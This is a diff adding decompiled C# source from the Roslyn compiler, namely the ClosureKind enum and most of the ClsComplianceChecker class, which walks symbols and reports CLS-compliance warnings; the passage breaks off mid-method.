a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ClosureKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ClosureKind.cs new file mode 100644 index 0000000..f912970 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ClosureKind.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum ClosureKind +{ + Static, + Singleton, + ThisOnly, + General +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ClsComplianceChecker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ClsComplianceChecker.cs new file mode 100644 index 0000000..27d88f7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ClsComplianceChecker.cs @@ -0,0 +1,1272 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using System.Threading.Tasks; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; +using Microsoft.CodeAnalysis.ErrorReporting; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class ClsComplianceChecker : CSharpSymbolVisitor +{ + private enum Compliance + { + DeclaredTrue, + DeclaredFalse, + InheritedTrue, + InheritedFalse, + ImpliedFalse + } + + private readonly CSharpCompilation _compilation; + + private readonly SyntaxTree _filterTree; + + private readonly TextSpan? _filterSpanWithinTree; + + private readonly BindingDiagnosticBag _diagnostics; + + private readonly CancellationToken _cancellationToken; + + private readonly ConcurrentDictionary _declaredOrInheritedCompliance; + + private readonly ConcurrentStack _compilerTasks; + + private bool ConcurrentAnalysis + { + get + { + if (_filterTree == null) + { + return ((CompilationOptions)_compilation.Options).ConcurrentBuild; + } + return false; + } + } + + private ClsComplianceChecker(CSharpCompilation compilation, SyntaxTree filterTree, TextSpan? filterSpanWithinTree, BindingDiagnosticBag diagnostics, CancellationToken cancellationToken) + { + _compilation = compilation; + _filterTree = filterTree; + _filterSpanWithinTree = filterSpanWithinTree; + _diagnostics = diagnostics; + _cancellationToken = cancellationToken; + _declaredOrInheritedCompliance = new ConcurrentDictionary(SymbolEqualityComparer.ConsiderEverything); + if (ConcurrentAnalysis) + { + _compilerTasks = new ConcurrentStack(); + } + } + + public static void CheckCompliance(CSharpCompilation compilation, BindingDiagnosticBag diagnostics, CancellationToken cancellationToken, SyntaxTree filterTree = null, TextSpan? filterSpanWithinTree = null) + { + BindingDiagnosticBag bindingDiagnosticBag = (((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies ? BindingDiagnosticBag.GetConcurrentInstance() : BindingDiagnosticBag.GetInstance(((BindingDiagnosticBag)diagnostics).AccumulatesDiagnostics, withDependencies: false)); + ClsComplianceChecker clsComplianceChecker = new ClsComplianceChecker(compilation, filterTree, filterSpanWithinTree, bindingDiagnosticBag, cancellationToken); + clsComplianceChecker.Visit(compilation.Assembly); + clsComplianceChecker.WaitForWorkers(); + if (((BindingDiagnosticBag)diagnostics).AccumulatesDiagnostics) + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange(((BindingDiagnosticBag)bindingDiagnosticBag).DiagnosticBag); + } + ((BindingDiagnosticBag)(object)diagnostics).AddDependencies((BindingDiagnosticBag)(object)bindingDiagnosticBag, false); + ((BindingDiagnosticBag)(object)bindingDiagnosticBag).Free(); + } + + public override void VisitAssembly(AssemblySymbol symbol) + { + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + Compliance declaredOrInheritedCompliance = GetDeclaredOrInheritedCompliance(symbol); + if (declaredOrInheritedCompliance == Compliance.DeclaredFalse) + { + return; + } + bool flag = IsTrue(declaredOrInheritedCompliance); + for (int i = 0; i < symbol.Modules.Length; i++) + { + ModuleSymbol moduleSymbol = symbol.Modules[i]; + Location attributeLocation; + bool? declaredCompliance = GetDeclaredCompliance(moduleSymbol, out attributeLocation); + Location val = (Location)((i == 0) ? ((object)attributeLocation) : ((object)moduleSymbol.GetFirstLocation())); + if (declaredCompliance.HasValue) + { + if (val != (Location)null) + { + if (!IsDeclared(declaredOrInheritedCompliance)) + { + AddDiagnostic(ErrorCode.WRN_CLS_NotOnModules, val); + } + else if (flag != (declaredCompliance == true)) + { + AddDiagnostic(ErrorCode.WRN_CLS_NotOnModules2, val); + } + } + } + else + { + if (!flag || i <= 0) + { + continue; + } + bool flag2 = false; + PEModuleSymbol pEModuleSymbol = (PEModuleSymbol)moduleSymbol; + ImmutableArray.Enumerator enumerator = pEModuleSymbol.GetAssemblyAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.IsTargetAttribute(pEModuleSymbol, AttributeDescription.CLSCompliantAttribute)) + { + flag2 = true; + break; + } + } + if (!flag2) + { + AddDiagnostic(ErrorCode.WRN_CLS_ModuleMissingCLS, val); + } + } + } + if (flag) + { + CheckForAttributeWithArrayArgument(symbol); + } + ModuleSymbol symbol2 = symbol.Modules[0]; + if (IsTrue(GetDeclaredOrInheritedCompliance(symbol2))) + { + CheckForAttributeWithArrayArgument(symbol2); + } + Visit(symbol.GlobalNamespace); + } + + private void WaitForWorkers() + { + ConcurrentStack compilerTasks = _compilerTasks; + if (compilerTasks != null) + { + Task result; + while (compilerTasks.TryPop(out result)) + { + result.GetAwaiter().GetResult(); + } + } + } + + public override void VisitNamespace(NamespaceSymbol symbol) + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (!DoNotVisit(symbol)) + { + if (IsTrue(GetDeclaredOrInheritedCompliance(symbol))) + { + CheckName(symbol); + CheckMemberDistinctness(symbol); + } + if (ConcurrentAnalysis) + { + VisitNamespaceMembersAsTasks(symbol); + } + else + { + VisitNamespaceMembers(symbol); + } + } + } + + private void VisitNamespaceMembersAsTasks(NamespaceSymbol symbol) + { + ImmutableArray.Enumerator enumerator = symbol.GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol m = enumerator.Current; + _compilerTasks.Push(Task.Run(UICultureUtilities.WithCurrentUICulture((Action)delegate + { + try + { + Visit(m); + } + catch (Exception ex) when (FatalError.ReportAndPropagateUnlessCanceled(ex, (ErrorSeverity)0)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Compiler/ClsComplianceChecker.cs", 222); + } + }), _cancellationToken)); + } + } + + private void VisitNamespaceMembers(NamespaceSymbol symbol) + { + ImmutableArray.Enumerator enumerator = symbol.GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + Visit(current); + } + } + + public override void VisitNamedType(NamedTypeSymbol symbol) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Invalid comparison between Unknown and I4 + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (DoNotVisit(symbol)) + { + return; + } + Compliance declaredOrInheritedCompliance = GetDeclaredOrInheritedCompliance(symbol); + if (VisitTypeOrMember(symbol, declaredOrInheritedCompliance) && IsTrue(declaredOrInheritedCompliance)) + { + CheckBaseTypeCompliance(symbol); + CheckTypeParameterCompliance(symbol.TypeParameters, symbol); + if ((int)symbol.TypeKind == 3) + { + CheckParameterCompliance(symbol.DelegateInvokeMethod.Parameters, symbol); + } + else if (_compilation.IsAttributeType((TypeSymbol)symbol) && !HasAcceptableAttributeConstructor(symbol)) + { + AddDiagnostic(ErrorCode.WRN_CLS_BadAttributeType, symbol.GetFirstLocation(), symbol); + } + } + ImmutableArray.Enumerator enumerator = symbol.GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + Visit(current); + } + } + + private bool HasAcceptableAttributeConstructor(NamedTypeSymbol attributeType) + { + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Invalid comparison between Unknown and I4 + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = attributeType.InstanceConstructors.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + if (!IsTrue(GetDeclaredOrInheritedCompliance(current)) || !IsAccessibleIfContainerIsAccessible(current)) + { + continue; + } + bool flag = false; + ImmutableArray.Enumerator enumerator2 = current.ParameterTypesWithAnnotations.GetEnumerator(); + while (enumerator2.MoveNext()) + { + TypeWithAnnotations current2 = enumerator2.Current; + if ((int)current2.TypeKind == 1 || (int)current2.Type.GetAttributeParameterTypedConstantKind(_compilation) == 0) + { + flag = true; + break; + } + } + if (!flag) + { + return true; + } + } + return false; + } + + public override void VisitMethod(MethodSymbol symbol) + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (DoNotVisit(symbol)) + { + return; + } + Compliance declaredOrInheritedCompliance = GetDeclaredOrInheritedCompliance(symbol); + if (symbol.IsAccessor()) + { + CheckForAttributeOnAccessor(symbol); + CheckForMeaninglessOnParameter(symbol.Parameters); + CheckForMeaninglessOnReturn(symbol); + if (IsTrue(declaredOrInheritedCompliance)) + { + CheckForAttributeWithArrayArgument(symbol); + } + } + else if (VisitTypeOrMember(symbol, declaredOrInheritedCompliance) && IsTrue(declaredOrInheritedCompliance)) + { + CheckParameterCompliance(symbol.Parameters, symbol.ContainingType); + CheckTypeParameterCompliance(symbol.TypeParameters, symbol.ContainingType); + if (symbol.IsVararg) + { + AddDiagnostic(ErrorCode.WRN_CLS_NoVarArgs, symbol.GetFirstLocation()); + } + } + } + + private void CheckForAttributeOnAccessor(MethodSymbol symbol) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = symbol.GetAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpAttributeData current = enumerator.Current; + if (current.IsTargetAttribute(symbol, AttributeDescription.CLSCompliantAttribute) && TryGetAttributeWarningLocation(current, out var location)) + { + AttributeUsageInfo attributeUsageInfo = current.AttributeClass.GetAttributeUsageInfo(); + AddDiagnostic(ErrorCode.ERR_AttributeNotOnAccessor, location, current.AttributeClass.Name, ((AttributeUsageInfo)(ref attributeUsageInfo)).GetValidTargetsErrorArgument()); + break; + } + } + } + + public override void VisitProperty(PropertySymbol symbol) + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (!DoNotVisit(symbol)) + { + Compliance declaredOrInheritedCompliance = GetDeclaredOrInheritedCompliance(symbol); + if (VisitTypeOrMember(symbol, declaredOrInheritedCompliance) && IsTrue(declaredOrInheritedCompliance)) + { + CheckParameterCompliance(symbol.Parameters, symbol.ContainingType); + } + } + } + + public override void VisitEvent(EventSymbol symbol) + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (!DoNotVisit(symbol)) + { + Compliance declaredOrInheritedCompliance = GetDeclaredOrInheritedCompliance(symbol); + VisitTypeOrMember(symbol, declaredOrInheritedCompliance); + } + } + + public override void VisitField(FieldSymbol symbol) + { + CancellationToken cancellationToken = _cancellationToken; + cancellationToken.ThrowIfCancellationRequested(); + if (!DoNotVisit(symbol)) + { + Compliance declaredOrInheritedCompliance = GetDeclaredOrInheritedCompliance(symbol); + if (VisitTypeOrMember(symbol, declaredOrInheritedCompliance) && IsTrue(declaredOrInheritedCompliance) && symbol.IsVolatile) + { + AddDiagnostic(ErrorCode.WRN_CLS_VolatileField, symbol.GetFirstLocation(), symbol); + } + } + } + + private bool VisitTypeOrMember(Symbol symbol, Compliance compliance) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Invalid comparison between Unknown and I4 + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Invalid comparison between Unknown and I4 + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Invalid comparison between Unknown and I4 + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Invalid comparison between Unknown and I4 + //IL_0100: Unknown result type (might be due to invalid IL or missing references) + //IL_0103: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + if (!CheckForDeclarationWithoutAssemblyDeclaration(symbol, compliance)) + { + return false; + } + bool flag = IsTrue(compliance); + bool flag2 = IsAccessibleOutsideAssembly(symbol); + if (flag2) + { + if (flag) + { + CheckName(symbol); + CheckForCompliantWithinNonCompliant(symbol); + CheckReturnTypeCompliance(symbol); + if ((int)symbol.Kind == 11) + { + CheckMemberDistinctness((NamedTypeSymbol)symbol); + } + } + else if (GetDeclaredOrInheritedCompliance(symbol.ContainingAssembly) == Compliance.DeclaredTrue && IsTrue(GetInheritedCompliance(symbol))) + { + CheckForNonCompliantAbstractMember(symbol); + } + } + else if (IsDeclared(compliance)) + { + AddDiagnostic(ErrorCode.WRN_CLS_MeaninglessOnPrivateType, symbol.GetFirstLocation(), symbol); + return false; + } + if (flag) + { + CheckForAttributeWithArrayArgument(symbol); + } + if ((int)kind == 11) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)symbol; + if ((int)namedTypeSymbol.TypeKind == 3) + { + MethodSymbol delegateInvokeMethod = namedTypeSymbol.DelegateInvokeMethod; + CheckForMeaninglessOnParameter(delegateInvokeMethod.Parameters); + CheckForMeaninglessOnReturn(delegateInvokeMethod); + } + } + else if ((int)kind == 9) + { + MethodSymbol methodSymbol = (MethodSymbol)symbol; + CheckForMeaninglessOnParameter(methodSymbol.Parameters); + CheckForMeaninglessOnReturn(methodSymbol); + } + else if ((int)kind == 15) + { + PropertySymbol propertySymbol = (PropertySymbol)symbol; + CheckForMeaninglessOnParameter(propertySymbol.Parameters); + } + return flag2; + } + + private void CheckForNonCompliantAbstractMember(Symbol symbol) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Invalid comparison between Unknown and I4 + NamedTypeSymbol containingType = symbol.ContainingType; + if ((object)containingType != null && containingType.IsInterface) + { + AddDiagnostic(ErrorCode.WRN_CLS_BadInterfaceMember, symbol.GetFirstLocation(), symbol); + } + else if (symbol.IsAbstract && (int)symbol.Kind != 11) + { + AddDiagnostic(ErrorCode.WRN_CLS_NoAbstractMembers, symbol.GetFirstLocation(), symbol); + } + } + + private void CheckBaseTypeCompliance(NamedTypeSymbol symbol) + { + if (symbol.IsInterface) + { + ImmutableArray.Enumerator enumerator = symbol.InterfacesNoUseSiteDiagnostics().GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (!IsCompliantType(current, symbol)) + { + AddDiagnostic(ErrorCode.WRN_CLS_BadInterface, symbol.GetFirstLocation(), symbol, current); + } + } + } + else + { + NamedTypeSymbol namedTypeSymbol = symbol.EnumUnderlyingType ?? symbol.BaseTypeNoUseSiteDiagnostics; + if ((object)namedTypeSymbol != null && !IsCompliantType(namedTypeSymbol, symbol)) + { + AddDiagnostic(ErrorCode.WRN_CLS_BadBase, symbol.GetFirstLocation(), symbol, namedTypeSymbol); + } + } + } + + private void CheckForCompliantWithinNonCompliant(Symbol symbol) + { + NamedTypeSymbol containingType = symbol.ContainingType; + if ((object)containingType != null && !IsTrue(GetDeclaredOrInheritedCompliance(containingType))) + { + AddDiagnostic(ErrorCode.WRN_CLS_IllegalTrueInFalse, symbol.GetFirstLocation(), symbol, containingType); + } + } + + private void CheckTypeParameterCompliance(ImmutableArray typeParameters, NamedTypeSymbol context) + { + ImmutableArray.Enumerator enumerator = typeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + ImmutableArray.Enumerator enumerator2 = current.ConstraintTypesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator2.MoveNext()) + { + TypeWithAnnotations current2 = enumerator2.Current; + if (!IsCompliantType(current2.Type, context)) + { + AddDiagnostic(ErrorCode.WRN_CLS_BadTypeVar, current.GetFirstLocation(), current2.Type); + } + } + } + } + + private void CheckParameterCompliance(ImmutableArray parameters, NamedTypeSymbol context) + { + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (!IsCompliantType(current.Type, context)) + { + AddDiagnostic(ErrorCode.WRN_CLS_BadArgType, current.GetFirstLocation(), current.Type); + } + } + } + + private void CheckForAttributeWithArrayArgument(Symbol symbol) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + CheckForAttributeWithArrayArgumentInternal(symbol.GetAttributes()); + if ((int)symbol.Kind == 9) + { + CheckForAttributeWithArrayArgumentInternal(((MethodSymbol)symbol).GetReturnTypeAttributes()); + } + } + + private void CheckForAttributeWithArrayArgumentInternal(ImmutableArray attributes) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Invalid comparison between Unknown and I4 + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Invalid comparison between Unknown and I4 + //IL_00f6: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = attributes.GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpAttributeData current = enumerator.Current; + foreach (TypedConstant constructorArgument in current.ConstructorArguments) + { + TypedConstant current2 = constructorArgument; + if ((int)((TypedConstant)(ref current2)).TypeInternal.TypeKind == 1 && TryGetAttributeWarningLocation(current, out var location)) + { + AddDiagnostic(ErrorCode.WRN_CLS_ArrayArgumentToAttribute, location); + return; + } + } + foreach (KeyValuePair namedArgument in current.NamedArguments) + { + TypedConstant value = namedArgument.Value; + if ((int)((TypedConstant)(ref value)).TypeInternal.TypeKind == 1 && TryGetAttributeWarningLocation(current, out var location2)) + { + AddDiagnostic(ErrorCode.WRN_CLS_ArrayArgumentToAttribute, location2); + return; + } + } + if ((object)current.AttributeConstructor == null) + { + continue; + } + ImmutableArray.Enumerator enumerator4 = current.AttributeConstructor.ParameterTypesWithAnnotations.GetEnumerator(); + while (enumerator4.MoveNext()) + { + if ((int)enumerator4.Current.TypeKind == 1 && TryGetAttributeWarningLocation(current, out var location3)) + { + AddDiagnostic(ErrorCode.WRN_CLS_ArrayArgumentToAttribute, location3); + return; + } + } + } + } + + private bool TryGetAttributeWarningLocation(CSharpAttributeData attribute, out Location location) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Expected O, but got Unknown + SyntaxReference applicationSyntaxReference = attribute.ApplicationSyntaxReference; + if (applicationSyntaxReference == null && _filterTree == null) + { + location = NoLocation.Singleton; + return true; + } + if (_filterTree == null || (applicationSyntaxReference != null && applicationSyntaxReference.SyntaxTree == _filterTree)) + { + location = (Location)new SourceLocation(applicationSyntaxReference); + return true; + } + location = null; + return false; + } + + private void CheckForMeaninglessOnParameter(ImmutableArray parameters) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Invalid comparison between Unknown and I4 + if (parameters.IsEmpty) + { + return; + } + int num = 0; + Symbol containingSymbol = parameters[0].ContainingSymbol; + if ((int)containingSymbol.Kind == 9) + { + Symbol associatedSymbol = ((MethodSymbol)containingSymbol).AssociatedSymbol; + if ((object)associatedSymbol != null && (int)associatedSymbol.Kind == 15) + { + num = ((PropertySymbol)associatedSymbol).ParameterCount; + } + } + for (int i = num; i < parameters.Length; i++) + { + if (TryGetClsComplianceAttributeLocation(parameters[i].GetAttributes(), parameters[i], out var attributeLocation)) + { + AddDiagnostic(ErrorCode.WRN_CLS_MeaninglessOnParam, attributeLocation); + } + } + } + + private void CheckForMeaninglessOnReturn(MethodSymbol method) + { + if (TryGetClsComplianceAttributeLocation(method.GetReturnTypeAttributes(), method, out var attributeLocation)) + { + AddDiagnostic(ErrorCode.WRN_CLS_MeaninglessOnReturn, attributeLocation); + } + } + + private void CheckReturnTypeCompliance(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Expected I4, but got Unknown + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Invalid comparison between Unknown and I4 + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + ErrorCode code; + TypeSymbol type; + switch (kind - 5) + { + default: + if ((int)kind != 15) + { + goto case 2; + } + code = ErrorCode.WRN_CLS_BadFieldPropType; + type = ((PropertySymbol)symbol).Type; + break; + case 1: + code = ErrorCode.WRN_CLS_BadFieldPropType; + type = ((FieldSymbol)symbol).Type; + break; + case 0: + code = ErrorCode.WRN_CLS_BadFieldPropType; + type = ((EventSymbol)symbol).Type; + break; + case 4: + { + code = ErrorCode.WRN_CLS_BadReturnType; + MethodSymbol methodSymbol = (MethodSymbol)symbol; + type = methodSymbol.ReturnType; + if ((int)methodSymbol.MethodKind == 3) + { + symbol = methodSymbol.ContainingType; + } + break; + } + case 6: + symbol = ((NamedTypeSymbol)symbol).DelegateInvokeMethod; + if ((object)symbol == null) + { + return; + } + goto case 4; + case 2: + case 3: + case 5: + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + if (!IsCompliantType(type, symbol.ContainingType)) + { + AddDiagnostic(code, symbol.GetFirstLocation(), symbol); + } + } + + private bool TryGetClsComplianceAttributeLocation(ImmutableArray attributes, Symbol targetSymbol, out Location attributeLocation) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = attributes.GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpAttributeData current = enumerator.Current; + if (current.IsTargetAttribute(targetSymbol, AttributeDescription.CLSCompliantAttribute) && TryGetAttributeWarningLocation(current, out attributeLocation)) + { + return true; + } + } + attributeLocation = null; + return false; + } + + private bool CheckForDeclarationWithoutAssemblyDeclaration(Symbol symbol, Compliance compliance) + { + if (IsDeclared(compliance) && !IsDeclared(GetDeclaredOrInheritedCompliance(symbol.ContainingAssembly))) + { + ErrorCode code = (IsTrue(compliance) ? ErrorCode.WRN_CLS_AssemblyNotCLS : ErrorCode.WRN_CLS_AssemblyNotCLS2); + AddDiagnostic(code, symbol.GetFirstLocation(), symbol); + return false; + } + return true; + } + + private void CheckMemberDistinctness(NamespaceOrTypeSymbol symbol) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_018d: Unknown result type (might be due to invalid IL or missing references) + //IL_0192: Unknown result type (might be due to invalid IL or missing references) + //IL_01a3: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Invalid comparison between Unknown and I4 + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Invalid comparison between Unknown and I4 + //IL_0103: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Invalid comparison between Unknown and I4 + //IL_010e: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Invalid comparison between Unknown and I4 + MultiDictionary val = new MultiDictionary((IEqualityComparer)CaseInsensitiveComparison.Comparer); + ImmutableArray.Enumerator enumerator2; + if ((int)symbol.Kind != 12) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)symbol; + foreach (NamedTypeSymbol key in namedTypeSymbol.InterfacesAndTheirBaseInterfacesNoUseSiteDiagnostics.Keys) + { + if (!IsAccessibleOutsideAssembly(key)) + { + continue; + } + enumerator2 = key.GetMembersUnordered().GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + if (IsAccessibleIfContainerIsAccessible(current2) && (!current2.IsOverride || ((int)current2.Kind != 9 && (int)current2.Kind != 15))) + { + val.Add(current2.Name, current2); + } + } + } + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = namedTypeSymbol.BaseTypeNoUseSiteDiagnostics; + while ((object)baseTypeNoUseSiteDiagnostics != null) + { + enumerator2 = baseTypeNoUseSiteDiagnostics.GetMembersUnordered().GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current3 = enumerator2.Current; + if (IsAccessibleOutsideAssembly(current3) && IsTrue(GetDeclaredOrInheritedCompliance(current3)) && (!current3.IsOverride || ((int)current3.Kind != 9 && (int)current3.Kind != 15))) + { + val.Add(current3.Name, current3); + } + } + baseTypeNoUseSiteDiagnostics = baseTypeNoUseSiteDiagnostics.BaseTypeNoUseSiteDiagnostics; + } + } + enumerator2 = symbol.GetMembers().GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current4 = enumerator2.Current; + if (!DoNotVisit(current4) && IsAccessibleIfContainerIsAccessible(current4) && IsTrue(GetDeclaredOrInheritedCompliance(current4)) && !current4.IsOverride) + { + string name = current4.Name; + ValueSet sameNameSymbols = val[name]; + if (sameNameSymbols.Count > 0) + { + CheckSymbolDistinctness(current4, name, sameNameSymbols); + } + val.Add(name, current4); + } + } + } + + private void CheckSymbolDistinctness(Symbol symbol, string symbolName, ValueSet sameNameSymbols) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + bool flag = (int)symbol.Kind == 9 || (int)symbol.Kind == 15; + Enumerator enumerator = sameNameSymbols.GetEnumerator(); + try + { + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current.Name != symbolName && (!flag || current.Kind != symbol.Kind)) + { + AddDiagnostic(ErrorCode.WRN_CLS_BadIdentifierCase, symbol.GetFirstLocation(), symbol); + return; + } + } + } + finally + { + ((IDisposable)enumerator/*cast due to constrained. prefix*/).Dispose(); + } + if (!flag) + { + return; + } + enumerator = sameNameSymbols.GetEnumerator(); + try + { + while (enumerator.MoveNext()) + { + Symbol current2 = enumerator.Current; + if (symbol.Kind == current2.Kind && !symbol.IsAccessor() && !current2.IsAccessor() && TryGetCollisionErrorCode(symbol, current2, out var code)) + { + AddDiagnostic(code, symbol.GetFirstLocation(), symbol); + break; + } + if (current2.Name != symbolName) + { + AddDiagnostic(ErrorCode.WRN_CLS_BadIdentifierCase, symbol.GetFirstLocation(), symbol); + break; + } + } + } + finally + { + ((IDisposable)enumerator/*cast due to constrained. prefix*/).Dispose(); + } + } + + private void CheckName(Symbol symbol) + { + if (symbol.CanBeReferencedByName && !symbol.IsOverride) + { + string name = symbol.Name; + if (name.Length > 0 && name[0] == '_') + { + AddDiagnostic(ErrorCode.WRN_CLS_BadIdentifier, symbol.GetFirstLocation(), name); + } + } + } + + private bool DoNotVisit(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)symbol.Kind == 12) + { + return false; + } + if (symbol.DeclaringCompilation == _compilation && !symbol.IsImplicitlyDeclared) + { + return IsSyntacticallyFilteredOut(symbol); + } + return true; + } + + private bool IsSyntacticallyFilteredOut(Symbol symbol) + { + if (_filterTree != null) + { + return !symbol.IsDefinedInSourceTree(_filterTree, _filterSpanWithinTree); + } + return false; + } + + private bool IsCompliantType(TypeSymbol type, NamedTypeSymbol context) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Expected I4, but got Unknown + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + TypeKind typeKind = type.TypeKind; + switch (typeKind - 1) + { + case 0: + return IsCompliantType(((ArrayTypeSymbol)type).ElementType, context); + case 3: + return true; + case 8: + case 12: + return false; + case 5: + case 10: + return true; + case 1: + case 2: + case 4: + case 6: + case 9: + case 11: + return IsCompliantType((NamedTypeSymbol)type, context); + default: + throw ExceptionUtilities.UnexpectedValue((object)type.TypeKind); + } + } + + private bool IsCompliantType(NamedTypeSymbol type, NamedTypeSymbol context) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Invalid comparison 